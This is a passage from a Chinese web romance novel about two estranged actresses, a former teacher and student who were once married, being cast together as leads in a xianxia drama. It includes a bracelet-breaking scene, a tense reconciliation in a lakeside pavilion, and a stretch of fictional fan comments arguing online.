过去她们在漆黑的深夜里缠绵，旖旎的卧室里，除了黏腻缱绻的声音，便是苏寄欢腕上金玉镯子相撞的声音。 声音和气味总是承载很多记忆。 一到春天她就会到处搜集柚子花，采摘最新鲜的插入白瓷窄口瓶里，模仿苏寄欢的习惯，用手接一点水浇在花上。 以前有很多人说她和苏寄欢的表演方式一模一样，这是当然，她是苏寄欢教出来的学生，自然要和自己的老师一模一样。 后来她建立[星闪]，有人说她又在模仿苏寄欢了。 她无法不去模仿苏寄欢。 她从始至终都仰慕这个女人，崇敬这个女人。 苏寄欢走过的路，她一点不落地走了，她像苏寄欢的影子，也像苏寄欢的复刻品。 祝星亦的视线落在苏寄欢清贵孤傲的背影上。 如果她真的是苏寄欢的影子就好了，这样她就可以永远跟着苏寄欢。 但现在她只是被嫌弃的复刻品。 “小姐，您拿好。”柜姐把盒子递交给结完账的苏寄欢。 “我买完我要买的东西了，你还要逛吗？”苏寄欢拎着东西问。 祝星亦从乱七八糟的思绪里回过神，摇头：“没有了，我，我也回去。” “那就回去。”苏寄欢迈步出去。 电梯到达负2楼，苏寄欢找到自己的车准备开门进去。 祝星亦喊住她：“苏总……” 苏寄欢转头：“有事？” “选角的事我们什么时候商量？”祝星亦问。 苏寄欢回答：“邓女士说过几天会亲自和我们沟通，你等着就好了。” 她微微俯身把东西扔副驾，“我还有事，先走了。” 这就走了？ 祝星亦有些不舍：“等等，苏老师，我……” 下意识脱口而出的苏老师，让两个人都停顿了动作。 从重逢到现在，两人一直都是生疏的称呼。[陌生人]之间，喊一声简简单单的[苏老师]都像是一种禁忌。 祝星亦在苏寄欢也停滞住动作时乱了阵脚。 “不好意思，苏总。”祝星亦深吸一口气，试图缓解沉默的氛围。 苏寄欢没说什么，弯腰去副驾拆开刚刚在珠宝店买的东西。她抽出珠宝店赠送的手绢裹住自己的手腕去旁边的柱子旁，祝星亦不知道她要干什么便跟了过去。 下一秒，苏寄欢把镯子撞在柱子上。 半山水的玉镯碎了。 清脆的破碎声像是在悼念什么。 十年前，苏寄欢带着祝星亦参加私宴，宴会上宣布祝星亦将成为她的学生，她会教导祝星亦，会为祝星亦的星路负责。 在苏家人的注视下，苏菱把一对玉镯分别给她们戴上。 自此，她们成了师徒，成了某种意义上的家人。 只要她们戴着那对镯子，祝星亦永远都是苏寄欢的学生。 祝星亦怔怔地看着苏寄欢把碎了的镯子用布包起来放进袋子里，然后捏着手绢向她走来。 她捂着自己的左手手腕后退着，却还是被苏寄欢抓着裹住手腕往柱子上撞。 撞了一下，镯子碎成三块。 滚烫的眼泪从眼角溢出，左手腕变得空空如也，什么都没了。 “为什么？”祝星亦的喉咙酸涩得难受，“你摔自己的也就罢了，为什么还要摔我的？” “你的？是你的吗？”苏寄欢裹住碎了的镯子丢进手里的袋子，“这个镯子是我妈当初赠予给你的，现在我代我妈收回。我先回去了，祝总。” 她没多说什么，带着那对碎了的镯子坐进车里开车离开。 祝星亦仓皇地跪在柱子旁找寻许久，终于找到一片小小的碎玉。 她抖着手握住那片碎玉，像第一次戴上那个玉镯一样珍重。 十年很长。 但十年就这样没了。 第150章 破镜要重圆 回家后祝星亦把那片碎玉小心装在玻璃盒子里。 镯子碎了，师徒情谊也没了。 [你是我永远的苏老师］这个诺言，和那两个玉镯一样碎掉。 洗澡的时候手腕有点疼痛，她查看了下才发现腕上有伤痕。 应该是碎玉划伤的。苏寄欢当时的力气太大，好似不把玉镯摔碎，就要把她的手剁了那般。 祝星亦缩进被窝又想到苏寄欢摔她镯子的场景，那么冰冷的态度，和对待仇人一样。 当初说离婚时，苏寄欢确实说了恨她。 一个总是抛弃爱人、不坚定的女人，是值得恨的。 祝星亦觉得自己很矛盾，每次都是她主动放弃的，但每次都想要主动求和。 放弃的时候*觉得终于轻松了，但当她意识到她真的失去了苏寄欢后，她又不甘心。 可以前苏寄欢会惯着她，现在不会了。 现在的苏寄欢冷得像终年不化的积雪，祝星亦再怎么示好也没用。 她不想和苏寄欢成为陌生人。 她无法心甘情愿和曾经那么爱的女人完全不熟，但她面对冷漠的女人又毫无办法。 愧疚、歉意让她不敢抬头直视女人的眼睛，她是神明座下戴着镣铐的罪人。 她宁愿苏寄欢打她骂她狠狠用别的方式惩罚她，可苏寄欢现在完全不在乎她了。 连恨，连恨都没了是吗？ 什么都不在乎了是吗？ 心脏刺痛得难受，祝星亦蜷着身子把头埋进被窝。 窗外雨还在下着。 雨什么时候停。 // 主演迟迟选不下来，白澜也跟着着急。一些邀约的配角都持保留意见，如果主角咖位不够，她们也不会参演。待选的咖位够得上的主演，资方还在评分。 日子一天一天过去，可没主演，什么都定不下来。 接到邓佳丽的邀约时，白澜匆匆忙忙去找祝星亦。 “星亦，邓女士来约！”白澜给祝星亦看邓佳丽发的邮件，上面显示约见的地点是在万岁山景区。 万岁山景区在汴城，是邓佳丽参与投资的Y省省一级重点文旅项目，占地约500亩，总投资400亿。 邓佳丽除了投资《长离引》项目，还带着这个刚建好但没有正式开始运营的景区进组。 作为Y省“十五五”规划里文旅强省战略的重点工程，《长离引》获得了Y省文化局、文旅厅、广播电视局的大力支持。 整部剧除了在万岁山景区内全实景拍摄，还会在Y省其他七个景区拍摄。Y省着力以《长离引》打造[文化IP＋全域旅游］的模式实现景区长效运营，并通过联动Y省17个地级市振兴全省文旅。 这就是选角慎重的原因。 起初筹划拍《长离引》时，祝星亦参考过往仙侠剧的筹备流程，虽然觉得很有挑战，但起码能胜任，直到苏寄欢突然主动插手。 苏寄欢带来的投资越多，这个项目冠的噱头越大，祝星亦的压力也越来越大。 [星闪］从短剧转战长剧满打满算也只有两年的时间，两年，[星闪］真的可以成为可以拍摄S＋级的影视了吗？若是无法呈现优质的作品，[星闪］除了崩盘，再无其他退路。 这部《长离引》，是她给[苏盛］交差，也是在给社会交差——饱受社会和行业偏见[星闪］与劣迹艺人祝星亦，成败在此一举。 成则翻身加入顶层圈子。 败则继续摸爬滚打摆脱[不入流的公司］称号。 自从回国，带着劣迹艺人的称号工作的祝星亦，最能仰仗的便是苏寄欢的[苏盛］。 [苏盛］是唯一一个愿意和她合作的大公司，其他掌握资源的大公司都在观望她，小公司跟她合作只是为了蹭流量。 一年后[苏盛］和[星闪］终止合作，若是《长离引》可以成为拿得出手的作品，[星闪］的路也许会更顺畅。 可现在这种情形…… 很难不让祝星亦怀疑是苏寄欢在为难她。 资方还要求这部剧的播放量要破200亿。 200亿是什么概念？ 近几年年度热播爆剧都不一定能达到这个播放量。 杀红了眼的前任果然难搞。祝星亦默叹。 “后天出差的酒店已经订好了，就在万岁山景区外。”白澜把一切事务安排好，准备着跟祝星亦一起出差，“对了，苏总会去吗？邓女士约您的话，肯定也会约苏总吧。” 祝星亦不清楚这个，专心处理其他工作，“可能会吧，我不知道。” 白澜整理着表格里的文件说：“那有可能会去，毕竟你和苏总是负责人，约在景区肯定是聊项目推进的。主演一直定不下来，她作为最大的投资人肯定也不满意。” 白澜瞥了眼祝星亦，注意到祝星亦空空如也的左手手腕。 从她成为祝星亦的助理开始，祝星亦左手手腕上便戴着一个镯子。 半山半水的玉镯，和苏总手腕上的玉镯是一对。祝星亦说过那是苏菱送给她和苏寄欢的，是二人结为师徒的信物。 十年间，祝星亦一直戴着玉镯，怎么…… 白澜正要问，祝星亦差她去找资料，她没再继续想什么，开始专注工作。 / 祝星亦到达酒店后稍作整理，白澜拎着车钥匙查看万岁山景区的地图。 先前白澜跟着祝星亦来这个景区考察过，精致的古建筑群坐落在汴城这座古城里，烟雨天好似一幅泼墨山水画。 白澜走到阳台观望外面的天气，汴城和麓城一样在下雨，从酒店这个角度可以看到万岁山景区，朱漆廊柱在灰色的雨雾里洇出湿漉漉的痕迹，是和奢华的麓城不一样的光景。 “星亦，汴城很美。”白澜抬起手机拍远处的万岁山，转头跟祝星亦说：“如果我们能多在汴城待着就好了，那样就可以多在这里感受感受美丽的古城风光。” 祝星亦低头整理着东西道：“我们肯定要多来这里监督《长离引》的拍摄，这部剧一点岔子都不能出。” 白澜想起了韩珑的话，也没多想，直接把脑子里的话说出口：“其实我也觉得你挺适合演唐离的，原著《长离引》里面，唐离就是一只小赤狐。唐离性格坚韧、倔强，被云长洛宠得还有点傲娇，这不就是你和苏总吗？找谁演都不如找你俩演，韩珑导演还是很会识人的，可惜你们都否定这个计划，要不然早开拍了。” 祝星亦的手停顿了半晌，白澜这才意识到这些话不该说出来。祝星亦已经在幕后工作五年了，即便能在幕前现身，也不能轻易尝试演戏。万一观众不买单，这部剧的付出便打水漂。 可纵观[星闪］和祝星亦的口碑，拥有优质影视作品和被法律认可[毫无过错］的祝星亦，似乎真的可以从幕后回归台前。 “不要轻易赌，我不敢。”祝星亦接着忙活，“赌赢了皆大欢喜，赌输了这部剧会全方位崩盘。而且就算我可以出演，苏总会愿意我演吗？” 苏寄欢那么讨厌她，怎么可能同意她演唐离？ 祝星亦让白澜别想了，“选角要慎重，谁都可以是唐离，但我不能。” 下午祝星亦出门跟邓佳丽见面，聊了两句便坐在观光车里逛万岁山。 雨丝斜斜穿过飞檐斗拱，祝星亦坐在观光车里望向隐在一片雨雾中的建筑群。 春日的汴城到处都是精致的宋韵，祝星亦在麓城住久了，闲暇时只会在周边城市逛逛。但汴城和江南好景的风光不一样，陌生城市里的一切都让她好奇。 昨天到汴城后她和白澜随意玩了玩，也感受到了Y省人的淳朴民风。只是这两天天气不太好，总下雨，否则她也要玩个痛快。 空气里浮动着早春的香气，景区内河边的垂柳在阴雨天里是鲜艳的嫩绿。湖上蒸腾的雾气掩住了拱桥的形状，越看，越觉得整个景区像是铺开的水墨画。 邓佳丽坐在她身边，过一个景点便跟她讲未来景区开放后会怎么运营。 《长离引》剧播之前，景区将正式运营开放，景区会推出大型剧本杀和沉浸式夜游。邓佳丽指给祝星亦看某个方向，说那处还有一片区域在施工，会陆续对外开放。 现在最紧要的是《长离引》的拍摄，但主角迟迟未定，谁都不安心。 祝星亦指尖摩挲着平板边缘，沉吟片刻给邓佳丽看心仪的候选人。翻看了下，邓佳丽摇摇头，祝星亦知道她不太满意，便顺着问她有没有合适的人选。 雨刷器在玻璃上刮出弧形水痕，保养得宜的邓佳丽声音缓慢有力：“韩珑前段时间跟我讨论了选角的事，我考虑许久，觉得她的想法很不错，也希望你们能选这两个演员当主演。” 比起思来想去选主演，不如资方直接安排人进来。祝星亦立马喜上眉梢问：“是谁？” “是你。”邓佳丽眉尾微挑，“你来演唐离。星亦，真不能再等了，再等，我们这些投资人都疲惫了。文旅局的想法是《长离引》可以配合景区正式运营开放前后播出，否则没办法拿出更好的宣传效果。景区开放的时间不能改，《长离引》播得越快越好。” 雨声忽然变得震耳欲聋。 祝星亦攥紧平板，指节泛白。 喉咙里堵上许多东西，祝星亦想要下意识说些拒绝的话，怎么也说不出。 面对过往的舆论，祝星亦是胆小瑟缩的人。即便[星闪］的影视作品已经让她慢慢摆脱那些骂声，她总无法过心理那关。 邓佳丽知道祝星亦在怕什么，慢声细语说：“星亦，缩手缩脚的人难成大事。五年了，你为什么还是不敢回归荧幕？法律都没有判定你有任何问题，而且我认为，你为了爬上去去做那些事，你是为了自己的前途，你明明很有野心。” 祝星亦被这个商界大姥的发言震慑住了。 旁人都在辱骂她为了一己私利背叛苏寄欢，和晏氏合作，邓佳丽竟然……夸赞她？ 邓佳丽靠在椅背上冷哼一声道：“没点手腕，怎么在这个圈子里混？真以为爬上去那么轻松？你一没卖身二没被潜规则，你只是有手段，你只是能忍，若不是晏氏那群人没本事被曝光，你现在还是耀眼的影后！你和他们合作又怎么了？怎么了？怎么了？你有野心又上进，他们凭什么骂你？骂你的人都是没本事的人！你这放在我的圈子里，你做得这些事都拿不出手。比你肮脏的人多了去了，谁不想成功？成功是那么容易获得的吗？谁不耍手段？！” 邓佳丽的声音中气十足，让祝星亦一瞬间以为自己毫无过错。可想到苏寄欢曾对着记者的话筒说出那句[我对她太失望了，我没有想过她会是这样的人］，她又低下了头。 也许对别人来说，用这样的方式走上去，只需要心理强大就行了。 但她不一样。 她背叛的人是苏寄欢，她让苏寄欢失望了。 她的怯懦，源自不敢正视苏寄欢苛责的眼睛。 她总是逃避问题，总是不敢面对自己的心，总是开不了口。 五年了。 她做缩头乌龟五年了。 苏寄欢……应该也恨了她五年。 “星亦，有些事情早就应该停留在过去，你现在名声还算不错，为什么不能勇敢地向前看？”邓佳丽看向她，“这个圈子里杀过人、坐过牢还能光鲜亮丽的人比比皆是，你只是舆论上有些争议，你这算得了什么？我以前被人陷害坐了几年牢，后面出来创业破过两次产，我现在还不是好好在这儿跟你谈生意？那些不痛不痒的舆论只是你人生中一个小小的插曲，你这就迈不过去了？” “我……” 邓佳丽摆摆手：“你还是太年轻了，你经历的事情太少。想成功，你何必管别人说什么？只要肯改正，只要肯大大方方接受自己的错误，只要可以脚踏实地地往前走，她人的话语，就是过眼云烟。” 观光车碾过水洼，激起一小阵水花。 景区南门快到了，邓佳丽看着外面的细雨说：“你有名气，有咖位，有演技，有话题，又能扛剧，你出演唐离再适合不过。当然，饰演云长洛的也具备和你一样的条件，毕竟，她是你老师。” 南门，观光车停下，祝星亦下车时伞柄差点打滑。 苏寄欢撑着墨色的雨伞站在南门门口，雨珠顺着伞沿坠落，溅起细小的雨花。泼墨的汴城春色里，她站在淡青底色的古城门前，像块一尘不染的白玉。 祝星亦望着那双沉静的浅褐色眼睛，滞住片刻。 恍如朝露，恍如暮雪。 她爱的苏寄欢，一如往日清冽，一如往日那般让她着迷。 不见面的两年，她很想苏寄欢，但胆怯的她不敢承受来自各方面的压力，她只能忍耐着思念，装作不在乎她和苏寄欢彻底结束的苦痛。 港城重逢，麓城再遇。 她明白她和苏寄欢做不了陌生人，做不了膈应的同事，做不了相看两厌的仇人。 明明还深爱着她，为什么要放弃她，为什么一次一次放弃她，为什么一次一次让她失望，为什么让她心灰意冷选择成为陌生人。 她想再续上这段破碎不堪毫无可能圆上的情谊，她想让碎了的玉镯粘合上，她想让这块已经成渣的镜子拼凑起来。 她不想BE。 她应该大胆一次，真正勇敢一次，不做胆小鬼。 怯懦的胆小鬼会只会不停失去，爱本就需要笨拙的勇敢。 邓佳丽站在助理撑着的伞下道：“我的计划是，寄欢演云长洛，你演唐离。我昨天已经与她商量过了，她同意演云长洛，星亦，你呢？”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 150-160 第151章 合作愉快 苏寄欢同意演云长洛？ 祝星亦以为自己听错了，转头问邓佳丽：“苏总……演云长洛？她……她愿意？” 邓佳丽笑着说：“是，她愿意。天还早，你若是有空就与她在这里逛逛聊一聊，如何？” 祝星亦握紧雨伞还未说什么，邓佳丽叹道：“星亦，就差两个主演，这部剧就可以准备完毕。若是再等，其他资方都坐不住了。你和寄欢好好聊聊，好吗？当然，我想听到你愿意出演的答案。” 从筹备到现在，两个空缺的主演一直耽搁着进程。现在，现在苏寄欢要出演云长洛。 若是换别人演唐离…… 祝星亦颔首：“好，我和她好好聊聊。” 雨雾漫漫的城门前只剩两个人。 祝星亦有时候会觉得苏寄欢离她太远。不管是她离开的三年还是苏寄欢离开的两年里，隔着山山水水，隔着那么多国家和城市，她们比陌生人还要陌生。 但有时候她也会觉得苏寄欢离她很近。 她身上有苏寄欢的痕迹，她的过去、成长、言谈举止、爱好，都有苏寄欢的参与。 她永远用着和苏寄欢一样的柚子花香水，永远用苏寄欢的工作方式处理工作，偶尔会模仿苏寄欢的穿搭，或者是……用苏寄欢的口吻对待自己的艺人。 艺人说她温柔的时候她会很恍惚。 以前的她脾气暴躁，遇事不沉着不冷静，脾气上来什么也不管不顾，遇到困难只会苦恼地寻求苏寄欢的帮助。 现在的她也成了帮艺人解决问题的靠谱大人。 像苏寄欢一样温柔，像苏寄欢一样靠谱。 她记得她说过她想永远躲在苏寄欢怀里，永远成为苏寄欢的小狐狸和被疼爱的雏鸟。 那都是……那都是好久以前了吧。 小狐狸已经成为独当一面的大狐狸，雏鸟早就飞到海面和汹涌的海浪搏击过。 而清冷矜贵的雪狼从未改变过。 “苏总。”祝星亦小心往前走了几步，“能借一步说话吗？” 苏寄欢执伞看向远方，祝星亦顺着她的视线看去，前面湖上有一处小亭子，亭外是嫩绿枝条的垂柳。 默契地撑伞穿过小拱桥去小亭子。 祝星亦先一步踏进亭子收伞，轻轻甩了下雨伞上的水珠放在地上。 后一步踏进来的人收完伞坐在木椅上眺望湖面。 祝星亦放好伞走过去站了会儿，最终坐在苏寄欢身旁。 两个人中间隔了很大的空隙，祝星亦斟酌片刻问：“苏总要演云长洛吗？” “对。”苏寄欢挺直脊背坐着，左手腕上是新买的镯子，清透无比，“看来邓女士已经和你说了，也好，不用我多费口舌。现在云长洛的角色定了，就差唐离一角，祝总有什么合适的人选吗？” 听苏寄欢这么一问，祝星亦才明白对方并不知道邓佳丽心仪的唐离是自己。 她没多遮掩，直接说：“唐离一角，我来演。” 之后便是长长的沉默。 祝星亦不知道苏寄欢在想什么，抬头看到苏寄欢冷峻的侧脸，久久没能再开口。 苏寄欢是不满意？还是说在想着如何拒绝自己？如果苏寄欢拒绝了，是不是也不演云长洛了？ 祝星亦心里忐忑，抓着衣角问：“苏总，你有什么看法吗？你来演云长洛，我来演唐离，你……” 苏寄欢挑起一侧眉毛瞥了她一眼：“我倒是没什么看法，毕竟决定主演人员的人不是我，我只是想问问祝总为什么同意出演。据我所知，晏氏风波过后，你已经有五年没有演戏了。五年不涉足荧幕，现在又来出演唐离，你不会感到生分吗？” 祝星亦没有回答，反问：“那你为什么要演云长洛？你也已经许久不拍戏，怎么会愿意出演《长离引》？” “邓女士邀约，盛情难却。”苏寄欢淡淡道。 祝星亦攥着拳冷静道：“我也是因为邓女士邀约，盛情难却。但除了这个原因，还有一个原因，你来演云长洛，我便不想让别人演唐离。” 忽然又沉默了。 细密的雨丝打在湖里，岸边垂柳微微晃动，小小的六角亭像山水画上的豆点。 苏寄欢蹙了下眉心，冷漠地对上祝星亦的眼，从喉咙里飘出两个字：“什么？” 有些话实在难以说出口，尤其是面对如此冰冷的人，但现在除了说开也没别的办法。 祝星亦咬紧牙鼓足勇气说：“就是字面意思，这是一部双女主作品，你真的出演云长洛的话，我定要拿到唐离的角色。毕竟她们是剧里的cp，我们，我们也……” 苏寄欢打断她：“祝总，请你不要把以前的事放在台面上，现在我们是陌生人，我也有了自己的生活，我只希望我们能互不打扰，如果……” “你担心Lilyana会不高兴？”祝星亦忽然问起Lilyana。 苏寄欢不知道她问Lilyana做什么，“关她什么事？” “她不是你女朋友吗？” “她是我的心理医生，也是我的好友，但她不是我女朋友。” 涌起的那个道德的考验忽然没了，祝星亦忽然起身，吓了苏寄欢一跳。 祝星亦握紧拳头问：“那你现在是单身？” “是。” “那你还有什么好怕的？”祝星亦保持冷静，“资方邀我们两个演，你同意了，我也同意了，进组后便是搭档同事，好好演到杀青不就行了？” 苏寄欢抬眸看眼前似乎憋着一股气的女人，静默了会儿半眯着眼打量对方，对方有些瑟缩地抓着衣角，仿佛她再看一会儿就会缩进乌龟壳里。 她没再把目光放在祝星亦身上，转头眺望湖上的雨雾，嘴角溢出飘忽的笑：“怕？我有说我怕吗？” 苏寄欢抬起下巴，忽然扶着栏杆起身。 猛然起身的动作迫得祝星亦小退半步，祝星亦紧盯着苏寄欢的动作小心翼翼揣摩这个女人的心思。 冷光掠过祝星亦的睫羽，苏寄欢欺身上前半步垂眼低声笑问：“还是说，你怕？” 呼吸间，柚子花香裹着清冽的气息扑面而来。祝星亦从苏寄欢浅褐色的眼睛里看到自己发白的唇色，的确，她又期待又害怕。 期待近距离和苏寄欢接触，害怕苏寄欢的拒绝。 察觉到祝星亦眼眸中忽然滑落的暗淡，苏寄欢后退一步收起讥嘲的神色慢声道：“我并不想提起往事，但我希望祝总时刻记得，当初是你提的分手，也是你提的离婚。我与你现在只是毫无关系的合作方，你不必拿角色问题试探我。既然两个角色定了，项目就可以正常推动，我希望到了剧组我们安安稳稳合作就好，不要半路出什么岔子。” 又是在撇清关系。 祝星亦不甘心，赶忙接着话茬说：“你和我怎么会是毫无关系的人，你和我……你……你是我的前妻，法律意义上的前妻。” 苏寄欢嘴角一抽，有些警惕地跷起二郎腿问：“那你想做什么？嗯？我的前妻？” “我……我想做……” “祝总，你要把私人情绪带到工作中？”苏寄欢晃动了下脚踝，她一手随意搭在膝上，一手放在木椅上，眼尾扫了安静站着的祝星亦，淡声道：“还是说，你愿意出演唐离一角是别有用心？” “没有的事。”祝星亦慌忙否认，“我只是想借此正式复出罢了，当然，我希望我们可以好好合作完成这个项目，希望……日后你我好好相处，多多沟通。” 苏寄欢凝眉嗤了声，目光悠悠在她身上停留片刻便不再多说，“但愿如此。” 雨好像慢慢停了，雾气却没散，懒洋洋地飘在湖面上，远方的古建筑总看不真切。 等一切筹划好进景区拍摄，正是春日好时节，古建筑群和汴城的美顺势收入镜头里。 苏寄欢起身拿伞，“接下来的工作我们届时一起商议，合作愉快。” 听到苏寄欢的这句话，祝星亦忐忑的心终于放进肚子里，她跟着拿起自己的伞，面上冷静道：“合作愉快。” 苏寄欢转身走出亭子，祝星亦慌忙跟上。 她想多与苏寄欢说些话，虽然未来到剧组会有很多东西需要交流，但提前熟络点也不是坏事。 这种想法真够奇怪。 她们明明很熟，很了解彼此，知道彼此的敏感点，吻遍彼此身上每个角落，怎么现在还要费尽心思搞好关系？ 只是事已至此，两个人的关系已经差到这种地步，她又要勇敢追爱，除了想办法搞好关系，再没有第二选项。 想着，祝星亦的脚步加快许多，下楼梯时没留神，整个人撞在苏寄欢身上。 祝星亦仓皇中借力，触碰到柔软的东西。 感受到苏寄欢的身子猛地一僵，祝星亦迅速站好往一旁退，红着脸颊有些无力地解释：“苏总，不好意思，我……我不是故意的，我真不是故意的。” 苏寄欢冷眼横扫过来，祝星亦觉得自己的行为真是有够蠢的，但眼下只能辩解：“太滑了，你看。” 她用脚演示了一下这个阶梯沾了雨水有多滑，苏寄欢沉默地看着她的动作。 祝星亦被这个目光看得毛毛的，咳了声装作冷静的模样慢慢下楼梯并自言自语：“我会提醒工作人员在雨天时小心点，否则会像我一样差点遇到危险。我有苏总帮忙，但他们就没那么好的运气了。” 苏寄欢散漫地扬起眉，跟在祝星亦身后慢悠悠走着。 听到脚步声，祝星亦像是想要赶紧逃离此处的鸟，下完楼梯快步拐弯离开。 苏寄欢站在原地停了很久，朝越走越远的人喊：“祝总，你走反了。” 脚步越来越快的女人忽然站定，旋即转身捂着脸快速朝南门奔跑了起来，手里拎着的雨伞随着动作晃动。 冷峻的脸上浮现久违的笑意，苏寄欢稍稍整理了下被祝星亦抓乱的衣服。 手劲还是那么大。 邓佳丽留两人在汴城多待一天，苏寄欢没推辞，晚上一起用完餐便早早回去歇着睡下。 一早就被敲门声吵醒。 苏寄欢疲惫地打开房门，一束花忽然往她脸上怼。 苏寄欢歪头，门口站着的不是别人，正是祝星亦。 祝星亦举着花低头说：“神明喜欢鲜花，要多多供奉才好呢。” 苏寄欢没有接那束花，静静地等着祝星亦的下一句话。 祝星亦把花往苏寄欢怀里塞，看对方一直不接，抓起苏寄欢的手臂让她拿住这束鲜花。 “我去附近问了能采摘鲜花的园子，便采了一些给你。”祝星亦背着手绞尽脑汁去想下一句该说的词语，“虽然只是拍一部剧，但我希望这部剧里，我们都能开开心心的。苏总，你……你觉得呢？” 第152章 勾起手指 苏寄欢扫了眼面前的人，针织衫上挂着嫩绿的草叶，鞋子上也有一点点没擦干净的泥点。 这几日多雨，定是去园子里采花时沾染上的。 不过今天倒是天晴了。 苏寄欢接下那束花淡声说：“我自然也希望我们能愉快相处。” 嗅着淡淡的柚子花香，祝星亦轻轻颔首，转身离去。 她和苏寄欢住的不是一个酒店，不过离得也不是太远。 踩在走廊柔软的地毯上走了两步，祝星亦回头，苏寄欢在门口抱着花挺直脊背站着。 漂亮女人穿着慵懒的睡衣抱着花站在门口目送她，她心跳停了一瞬。 “怎么？还有事？”苏寄欢问。 祝星亦摇摇头：“没事。” 祝星亦垂眸，如果每天早上都能看到穿着睡衣的苏寄欢，那该多好。 不过今天也好，起码花送到了，祝星亦想，而且对方没有给她撂脸子。 但仔细一想，苏寄欢好像并没有给她甩过脸子。不管她以前做得多么过分，苏寄欢都不会让场面闹得太难看。即便被气狠了也不会像个疯子一样对她歇斯底里大吼，相反，冷峻愠怒的模样竟然非常……美。 教养极好、骨子里温柔的人，即便主动做井水不犯河水的陌生人，也是禁忌感拉满的诱惑。 瞥见苏寄欢的睡衣领口，漂亮的锁骨下面是饱满的曲线，祝星亦蓦地收回目光，身体莫名起了难以启齿的反应。 “我……我走了。”她速速逃离回到自己的酒店房间趴在床上，脑子里都是苏寄欢穿着睡衣的模样。 日常相处便是如此，拍剧的时候该如何是好？《长离引》原著中，唐离和云长洛同吃同住寸步不离，还有诸多亲密的吻戏和……床。戏。 这么一想，幸好是她来演唐离，若是换了旁人……那也太便宜别人了。 “幸好是我。”祝星亦的头埋在枕头上，声音含糊不清，“幸好是你。” / 主演确定以后，其他的筹备也开始加快。苏寄欢和祝星亦演云长洛与唐离的消息传出去后，网络舆论炸开了锅。 时隔十年，苏寄欢和祝星亦再一次携手出演古装剧，这个消息实在令人震惊。 尤其是祝星亦。 祝星亦因为舆论原因息影多年，首次回归竟然是搭档刚回归的苏寄欢，这不免让人对二人有了诸多猜测。 [现在站在你面前的是百亿票房俱乐部会员、世界百大优秀女演员、顶级流量、大满贯影后苏寄欢，祝《长离引》拍摄顺利，酥芽永相随～］ [十年前你在麓舞附近的小店吃粿条的时候，有没有想过未来会出演自己公司的S＋影视？十年坎坷，终铸王冠。人的一生，有几个十年？祝星亦，好久不见。祝《长离引》拍摄顺利，这一路星光璀璨，这一路星海从未改变。］ [关于你的成长，提起就会掉眼泪。好久不见，我的星星。］ [不是吧，十年了，苏苏你怎么还是选猪婆啊，你真的非她不可吗！］ [苏寄欢你和法制咖搭档演双女主？！你疯了吗！内娱是找不到其他女演员了吗！］ [两年不回国，回国就和星星出演首部双女主古装仙侠剧，苏苏，你就承认你还在乎她吧！］ [我现在真的要大胆承认我磕了她们十年！十年啊！当初磕她们的时候我还是小学生！］ [多少做尽恶事的男艺人，你们视而不见，多少丧尽天良的男艺人，仍在圈子里活跃，不停参演大制作。你们可以亲昵地喊那些男艺人[哥哥］，还为他们洗白[他还是个孩子］，轮到法律认为没任何过错的女艺人，你们逮着不放，非要她退圈消失才肯罢休。怎么，见不得女人到达权力顶峰？］ [plq别搞你那套婆罗门了，我们星宝现在是[星闪］ceo，当初晏氏一事，法律都说星宝没问题，你们还在追着星宝不放，你们能不能专注自家！］ [祝星亦……你吸了苏苏一辈子血你知道吗？当初苏苏扶你起来，送你星路璀璨，后来你缠着苏苏和[苏盛］合作，现在复出又要缠着苏苏，你到底要吸她的血到何时！！］ [路人来说一句……既然都这样了，不如两位在一起好了，吸老婆的血不算吸了吧……你们粉丝都打了十年架了，也该明白她俩真的分不开了吧（我真的是路人，顶锅先逃）］ [本路人也是这样认为的，苏粉骂了星粉十年吸血鬼，星粉真的挺憋屈的。我觉得祝星亦已经很不容易了，从岭州那么穷的地方走出来，一路走到国际影后，顶住负面舆论创建[星闪］，从拍饱受偏见的短剧到现在要制作S＋的长剧，这个经历明明很励志很热血。换作别人，光是[青春理论］的冠军都拿不到吧，这么优秀的人你们还骂她是吸血鬼，你们不就是看她出身低，比不上苏寄欢吗？］ [因为出身低，所以获得的一切成功都要被赋予[吸血］称号吗？有钱的明星那么多，有背景的人那么多，他们没有一个比星宝更成功，凭什么要看不起我们星宝！你们总是觉得sjh受委屈了，我就想问，sjh她亏哪里了？她扶星宝起来，她和星宝合作，她亏了吗？！全世界的人都踩着星宝去捧sjh，把sjh奉为高高在上干干净净的神明，当初还蹭着星宝的负面舆论营销冰清玉洁的高贵影后，收获了巨大的流量，1年能去9个剧组，通告飞满天，蹭了这么多流量，比过往任何时候都要火，我就想问她到底亏哪里了！这一路走来，背负骂名的从来都是我们星宝，收获赞誉的都是sjh，有星宝在就有人捧sjh踩星宝，sjh她到底亏什么了！到底谁才是吸血鬼啊！！！］ [真的对祝星亦黑转粉了，这两年明星塌房的事件让我明白，祝星亦做的那些事根本不算什么。她明显就是被资本控制了啊，她一个岭州的穷姑娘能有什么背景，还不是那些人看她有流量才逼着她和他们合作？］ [那都是我们祝影后的来时路罢了，当初预制影后里，只有两个大奖是内定的，国际奖项和其他国内奖项都是正常评选，她明明很有实力，她得的奖含金量特别高，你们骂归骂，别把她的成绩和那些过错混为一谈。*］ [苏粉你们不要闹了，现在网民已经换了一拨人，你们再引导舆论也是没用的。能成大事的人，哪个没有野心哪个不脏？祝星亦现在能安安稳稳运营[星闪］，能复出演《长离引》，那就证明她从血海里杀出来了。对于成功的人来说，那些过错都是过眼云烟，谁在乎啊？］ [你们不在乎我们在乎，我不是星粉也不是苏粉，我就要抵制祝星亦，抵制《长离引》！］ [抵制《长离引》！抵制劣迹艺人祝星亦！］ [抵制祝星亦！抵制祝星亦！］ [混乱中磕一口[月星百万］，苏苏和星星又搭档了，而且还是双女主古装仙侠剧，这次又可以磕cp了嘿嘿］ [感谢韩导的选角，迷航员先给韩导磕一个头］ [寄星复婚，寄星99］ [抱歉我磕星1］ [楼上磕星1的拖出去乱棍打亖］ 两个人的热搜占据首榜几天，[星闪］统计完热度数据，比预估的数据高出三倍。 “所以，选择苏总和祝总两位出演《长离引》是一个非常正确的决定。”会议厅里，韩珑手划拉一下，就着网络上对《长离引》话题讨论的词条进行分析。 除了苏祝二人个人的舆论，网友讨论最多的便是二人曾经亲密后来又分道扬镳的过去。 